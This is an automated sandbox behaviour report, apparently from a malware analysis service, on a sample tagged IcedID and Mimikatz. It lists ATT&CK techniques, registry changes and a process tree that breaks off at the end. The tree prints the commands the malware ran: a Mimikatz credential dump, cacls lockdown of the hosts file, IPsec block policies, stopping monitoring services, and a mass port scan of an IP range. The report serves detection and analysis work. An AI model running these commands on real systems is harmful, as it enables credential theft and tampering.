System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qicmew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wlifiji.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-01-16_826ed9ff1187c27419e929a1ec8e82cc_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regnzlibv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kbebvutsd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4296	cmd.exe
3708	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x000a000000023ba8-6.dat	nsis_installer_2
behavioral2/files/0x0008000000023c0d-15.dat	nsis_installer_1
behavioral2/files/0x0008000000023c0d-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wlifiji.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	wlifiji.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	wlifiji.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	wlifiji.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	wlifiji.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bteqliisl.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wlifiji.exe

Modifies registry class 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	wlifiji.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3708	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4588	schtasks.exe
1400	schtasks.exe
4748	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2464	2025-01-16_826ed9ff1187c27419e929a1ec8e82cc_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2464	2025-01-16_826ed9ff1187c27419e929a1ec8e82cc_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	1320	wlifiji.exe
Token: SeDebugPrivilege	1972	wlifiji.exe
Token: SeDebugPrivilege	5080	vfshost.exe
Token: SeDebugPrivilege	3032	bteqliisl.exe
Token: SeLockMemoryPrivilege	4060	nfquyl.exe
Token: SeLockMemoryPrivilege	4060	nfquyl.exe
Token: SeDebugPrivilege	4448	bteqliisl.exe
Token: SeDebugPrivilege	3516	bteqliisl.exe
Token: SeDebugPrivilege	4296	bteqliisl.exe
Token: SeDebugPrivilege	3324	bteqliisl.exe
Token: SeDebugPrivilege	4624	bteqliisl.exe
Token: SeDebugPrivilege	3172	bteqliisl.exe
Token: SeDebugPrivilege	1120	bteqliisl.exe
Token: SeDebugPrivilege	1460	bteqliisl.exe
Token: SeDebugPrivilege	2792	bteqliisl.exe
Token: SeDebugPrivilege	2808	bteqliisl.exe
Token: SeDebugPrivilege	3660	bteqliisl.exe
Token: SeDebugPrivilege	404	bteqliisl.exe
Token: SeDebugPrivilege	1384	bteqliisl.exe
Token: SeDebugPrivilege	552	bteqliisl.exe
Token: SeDebugPrivilege	3944	bteqliisl.exe
Token: SeDebugPrivilege	1328	bteqliisl.exe
Token: SeDebugPrivilege	4052	bteqliisl.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2464	2025-01-16_826ed9ff1187c27419e929a1ec8e82cc_hacktools_icedid_mimikatz.exe
2464	2025-01-16_826ed9ff1187c27419e929a1ec8e82cc_hacktools_icedid_mimikatz.exe
1320	wlifiji.exe
1320	wlifiji.exe
1972	wlifiji.exe
1972	wlifiji.exe
2528	xohudmc.exe
2208	qicmew.exe
5064	wlifiji.exe
5064	wlifiji.exe
5732	wlifiji.exe
5732	wlifiji.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2464 wrote to memory of 4296	2464	2025-01-16_826ed9ff1187c27419e929a1ec8e82cc_hacktools_icedid_mimikatz.exe	83
PID 2464 wrote to memory of 4296	2464	2025-01-16_826ed9ff1187c27419e929a1ec8e82cc_hacktools_icedid_mimikatz.exe	83
PID 2464 wrote to memory of 4296	2464	2025-01-16_826ed9ff1187c27419e929a1ec8e82cc_hacktools_icedid_mimikatz.exe	83
PID 4296 wrote to memory of 3708	4296	cmd.exe	85
PID 4296 wrote to memory of 3708	4296	cmd.exe	85
PID 4296 wrote to memory of 3708	4296	cmd.exe	85
PID 4296 wrote to memory of 1320	4296	cmd.exe	89
PID 4296 wrote to memory of 1320	4296	cmd.exe	89
PID 4296 wrote to memory of 1320	4296	cmd.exe	89
PID 1972 wrote to memory of 2468	1972	wlifiji.exe	91
PID 1972 wrote to memory of 2468	1972	wlifiji.exe	91
PID 1972 wrote to memory of 2468	1972	wlifiji.exe	91
PID 2468 wrote to memory of 2544	2468	cmd.exe	93
PID 2468 wrote to memory of 2544	2468	cmd.exe	93
PID 2468 wrote to memory of 2544	2468	cmd.exe	93
PID 2468 wrote to memory of 1036	2468	cmd.exe	94
PID 2468 wrote to memory of 1036	2468	cmd.exe	94
PID 2468 wrote to memory of 1036	2468	cmd.exe	94
PID 1972 wrote to memory of 1416	1972	wlifiji.exe	95
PID 1972 wrote to memory of 1416	1972	wlifiji.exe	95
PID 1972 wrote to memory of 1416	1972	wlifiji.exe	95
PID 2468 wrote to memory of 4988	2468	cmd.exe	97
PID 2468 wrote to memory of 4988	2468	cmd.exe	97
PID 2468 wrote to memory of 4988	2468	cmd.exe	97
PID 2468 wrote to memory of 3064	2468	cmd.exe	98
PID 2468 wrote to memory of 3064	2468	cmd.exe	98
PID 2468 wrote to memory of 3064	2468	cmd.exe	98
PID 2468 wrote to memory of 2156	2468	cmd.exe	100
PID 2468 wrote to memory of 2156	2468	cmd.exe	100
PID 2468 wrote to memory of 2156	2468	cmd.exe	100
PID 2468 wrote to memory of 4072	2468	cmd.exe	101
PID 2468 wrote to memory of 4072	2468	cmd.exe	101
PID 2468 wrote to memory of 4072	2468	cmd.exe	101
PID 1972 wrote to memory of 4768	1972	wlifiji.exe	103
PID 1972 wrote to memory of 4768	1972	wlifiji.exe	103
PID 1972 wrote to memory of 4768	1972	wlifiji.exe	103
PID 1972 wrote to memory of 4760	1972	wlifiji.exe	107
PID 1972 wrote to memory of 4760	1972	wlifiji.exe	107
PID 1972 wrote to memory of 4760	1972	wlifiji.exe	107
PID 1972 wrote to memory of 4304	1972	wlifiji.exe	116
PID 1972 wrote to memory of 4304	1972	wlifiji.exe	116
PID 1972 wrote to memory of 4304	1972	wlifiji.exe	116
PID 4304 wrote to memory of 3308	4304	cmd.exe	118
PID 4304 wrote to memory of 3308	4304	cmd.exe	118
PID 4304 wrote to memory of 3308	4304	cmd.exe	118
PID 3308 wrote to memory of 216	3308	wpcap.exe	119
PID 3308 wrote to memory of 216	3308	wpcap.exe	119
PID 3308 wrote to memory of 216	3308	wpcap.exe	119
PID 216 wrote to memory of 4428	216	net.exe	121
PID 216 wrote to memory of 4428	216	net.exe	121
PID 216 wrote to memory of 4428	216	net.exe	121
PID 3308 wrote to memory of 3364	3308	wpcap.exe	122
PID 3308 wrote to memory of 3364	3308	wpcap.exe	122
PID 3308 wrote to memory of 3364	3308	wpcap.exe	122
PID 3364 wrote to memory of 2436	3364	net.exe	124
PID 3364 wrote to memory of 2436	3364	net.exe	124
PID 3364 wrote to memory of 2436	3364	net.exe	124
PID 3308 wrote to memory of 4576	3308	wpcap.exe	125
PID 3308 wrote to memory of 4576	3308	wpcap.exe	125
PID 3308 wrote to memory of 4576	3308	wpcap.exe	125
PID 4576 wrote to memory of 4584	4576	net.exe	127
PID 4576 wrote to memory of 4584	4576	net.exe	127
PID 4576 wrote to memory of 4584	4576	net.exe	127
PID 3308 wrote to memory of 3624	3308	wpcap.exe	128

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1380
- C:\Windows\TEMP\evfeutbbp\nfquyl.exe
  "C:\Windows\TEMP\evfeutbbp\nfquyl.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4060

C:\Users\Admin\AppData\Local\Temp\2025-01-16_826ed9ff1187c27419e929a1ec8e82cc_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2025-01-16_826ed9ff1187c27419e929a1ec8e82cc_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2464
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\yqqdgivv\wlifiji.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4296
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3708
- - C:\Windows\yqqdgivv\wlifiji.exe
    C:\Windows\yqqdgivv\wlifiji.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1320

C:\Windows\yqqdgivv\wlifiji.exe
C:\Windows\yqqdgivv\wlifiji.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1972
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2544
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1036
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4988
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:3064
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2156
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4072
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1416
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4768
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4760
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\ysudwuiub\tluvwvuph\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4304
- - C:\Windows\ysudwuiub\tluvwvuph\wpcap.exe
    C:\Windows\ysudwuiub\tluvwvuph\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:3308
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:216
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4428
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3364
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        
        PID:2436
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4576
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4584
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3624
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4320
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:1328
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:2464
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2972
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:4496
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4052
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3628
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\ysudwuiub\tluvwvuph\regnzlibv.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ysudwuiub\tluvwvuph\Scant.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2988
- - C:\Windows\ysudwuiub\tluvwvuph\regnzlibv.exe
    C:\Windows\ysudwuiub\tluvwvuph\regnzlibv.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ysudwuiub\tluvwvuph\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1844
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\ysudwuiub\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\ysudwuiub\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  PID:932
- - C:\Windows\ysudwuiub\Corporate\vfshost.exe
    C:\Windows\ysudwuiub\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5080
- C:\Windows\SysWOW64\cmd.exe
